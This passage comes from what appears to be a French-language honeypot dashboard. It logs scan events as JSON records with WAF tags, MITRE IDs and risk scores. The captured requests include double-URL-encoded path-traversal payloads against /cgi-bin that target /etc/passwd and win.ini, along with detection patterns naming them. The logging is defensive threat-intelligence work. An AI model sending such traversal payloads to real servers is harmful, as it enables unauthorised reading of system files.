"request_sample": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/win.ini HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9207\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"payload_snippet": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/wi",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "1a39010c560596a00ea3dfd364b677491252f25e",
"protocol_details": {
"http_method": "GET",
"http_path": "\/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/win.ini",
"request_line": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/win.ini HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 9207,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/wi",
"attack_vector": "lfi path traversal \u00b7 via HTTP:9207 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%\u2026",
"target_port_label": "9207 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 5 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 67\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP \u2014 campagne \/24 (34.19.116.0\/24)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 67,
"correlation_boost": 10
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 67,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 9207,
"protocol_emulated": true,
"tags_summary": [
"INT-http_lfi",
"pat-0715",
"CRS-930100-sub",
"INT-upstream"
],
"tags_summary_labels_fr": [
"Http Lfi",
"pat-0715",
"CRS-930100-sub",
"Upstream"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/win.ini",
"request_line": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/win.ini HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 9207,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "lfi path traversal \u00b7 via HTTP:9207 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%\u2026",
"evidence_snippet": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/wi",
"target_port_label": "9207 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 5 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +10 \u00b7 5 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"meta_truncated": true,
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "9207"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.116.0\/24",
"coordinated_ip_count": 8,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950260:lfi-0",
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_path_traversal",
"http_probe_cgi_bin",
"http_sensitive_path",
"iot_http_endpoint",
"net_web_probe"
],
"asn_dc_heuristic": true
}
30/07/2026 18:56:18 UTC
TCP
9207 · HTTP
Traversal LFI
lfi path traversal · via HTTP:9207 · (tentative d'exploit) · → /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%…
Élevée
Élevé · 67
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
T1083
TA0001
TA0002
Protocole
GET /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/… UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
35
Recommandation
Investiguer
Tags
950260:lfi-0
950264:lfi-1
950326:rce-0
950468:nosqli-3
Cible HTTP
GET
/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
9207
Chemin / cible
/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
Pourquoi cette classification : Sonde fichier sensible: traversal ../ · Règle WAF « lfi-0 » · Traversal / LFI dans le chemin · confiance 100%
Confiance classification
100%
Corrélation +10
Risque capteur
Élevé
· 67
Confiance : Confiance 100 % — Motif catalogue confirmé · 5 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1083
Http Lfi
pat-0716
pat-0137
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 930160 etc passwd
LFI path /etc/passwd
Ligne de requête
GET /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
lfi-0
lfi-1
rce-0
nosqli-3
Payload (extrait)
GET /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
Requête brute (extrait)
GET /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:9207 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 10,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "b6b0702a8fb6144179643638329a55a1879f5d46",
"http_target_hash": "47675bd2bfeb14823e0d442f0375d8c7248caf88",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 339,
"payload_entropy": 5.149184183371106,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 9207,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 3,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 67,
"tag_count": 10,
"anomaly_count": 0,
"campaign_key": "d66364ef3e534b7e2a132451a7ff7976781b1c6f",
"event_fingerprint": "3e1a557c3212424bd39ecbf1d58eb6ac067dcd6b",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 457,
"precision_signals": [
"MITRE-T1083",
"INT-http_lfi",
"pat-0716",
"pat-0137",
"CRS-930100-sub",
"INT-upstream"
],
"kb_rule_ids": [
"MITRE-T1083",
"INT-http_lfi",
"pat-0716",
"pat-0137",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"matched_patterns": [
"pat-0716",
"pat-0137"
],
"matched_pattern_names": [
"CRS 930160 etc passwd",
"LFI path \/etc\/passwd"
],
"pattern_ids": [
"pat-0716",
"pat-0137"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 67,
"correlation_boost": 10
},
"named_classification_skipped": false,
"classification_parent": "path_traversal",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "309c1e34420278475138c116f5dee0e7",
"path_pattern_hash": "82b384efd9ccbe154a2872539486157a"
},
"target_context": {
"dst_port": 9207,
"service": "http",
"service_name": "http",
"risk_score": 67
},
"method": "GET",
"path": "\/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"lfi-1",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd HTTP\/1.1",
"payload_snippet": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd",
"evidence": {
"method": "GET",
"path": "\/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"lfi-1",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd HTTP\/1.1",
"request_sample": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9207\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X",
"payload_snippet": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "1e78f9f5853d14b568640cbea34fc30924c66a79",
"protocol_details": {
"http_method": "GET",
"http_path": "\/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd",
"request_line": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 9207,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd",
"attack_vector": "lfi path traversal \u00b7 via HTTP:9207 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%\u2026",
"target_port_label": "9207 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 5 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 67\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP \u2014 campagne \/24 (34.19.116.0\/24)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 67,
"correlation_boost": 10
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 67,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 9207,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1083",
"INT-http_lfi",
"pat-0716",
"pat-0137"
],
"tags_summary_labels_fr": [
"MITRE-T1083",
"Http Lfi",
"pat-0716",
"pat-0137"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd",
"request_line": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 9207,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "lfi path traversal \u00b7 via HTTP:9207 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%\u2026",
"evidence_snippet": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd",
"target_port_label": "9207 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 5 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +10 \u00b7 5 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"meta_truncated": true,
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "9207"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.116.0\/24",
"coordinated_ip_count": 8,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950260:lfi-0",
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_path_traversal",
"http_probe_cgi_bin",
"http_sensitive_path",
"iot_http_endpoint",
"net_web_probe"
],
"asn_dc_heuristic": true,
"behavior_alert_count": 1,
"behavior_priority": 72
}
30/07/2026 18:53:11 UTC
TCP
8888 · HTTP
SSRF interne
ssrf internal · via HTTP:8888 · (tentative d'exploit)
Élevée
Moyen · 55
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
TA0001
TA0001
TA0002
Protocole
GET / UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
16
Recommandation
Investiguer
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
net_web_probe
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8888
Chemin / cible
/
Pourquoi cette classification : Type « ssrf_internal » (signaux protocolaires) · confiance 54%
Confiance classification
64%
Corrélation +10
Risque capteur
Moyen
· 55
Confiance : Confiance 54 % — Motif catalogue confirmé · 3 tag(s) WAF
Protocole émulé
1 Signaux
CRS-920350
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
SSRF Any-address SSRF
HTTP alt 8888 probe
Ligne de requête
GET / HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: 62.3.50.33:8888
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.
Requête brute (extrait)
GET / HTTP/1.1 Host: 62.3.50.33:8888 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "25a58e7d7f0ed40aadf0d51b038172ea9ccc8435",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 185,
"payload_entropy": 5.357729020258063,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8888,
"risk_waf": 72,
"risk_classification": 80,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 4.9,
"risk_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 55,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "e11c1b827d438ca6f81f14ef35ff35f7c31ff992",
"event_fingerprint": "d96673c00b57d970f6555d6dff66c77e09351a74",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"confidence": 0.64,
"classification_confidence": 0.64,
"precision_score": 64,
"precision_signals": [
"CRS-920350"
],
"kb_rule_ids": [
"CRS-920350"
],
"matched_patterns": [
"pat-0324",
"pat-0599"
],
"matched_pattern_names": [
"SSRF Any-address SSRF",
"HTTP alt 8888 probe"
],
"pattern_ids": [
"pat-0324",
"pat-0599"
],
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 55,
"correlation_boost": 10
},
"named_classification_skipped": false,
"classification_parent": "ssrf_attack",
"service_name": "http",
"risk_confidence_factor": 54,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "e4f1deb97dadb03be2696e7018622f71",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 8888,
"service": "http",
"service_name": "http",
"risk_score": 55
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8888\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8888\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8888\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8888\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8888\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "8c67378588b58e4735d670e988f0d9bccac84998",
"protocol_details": {
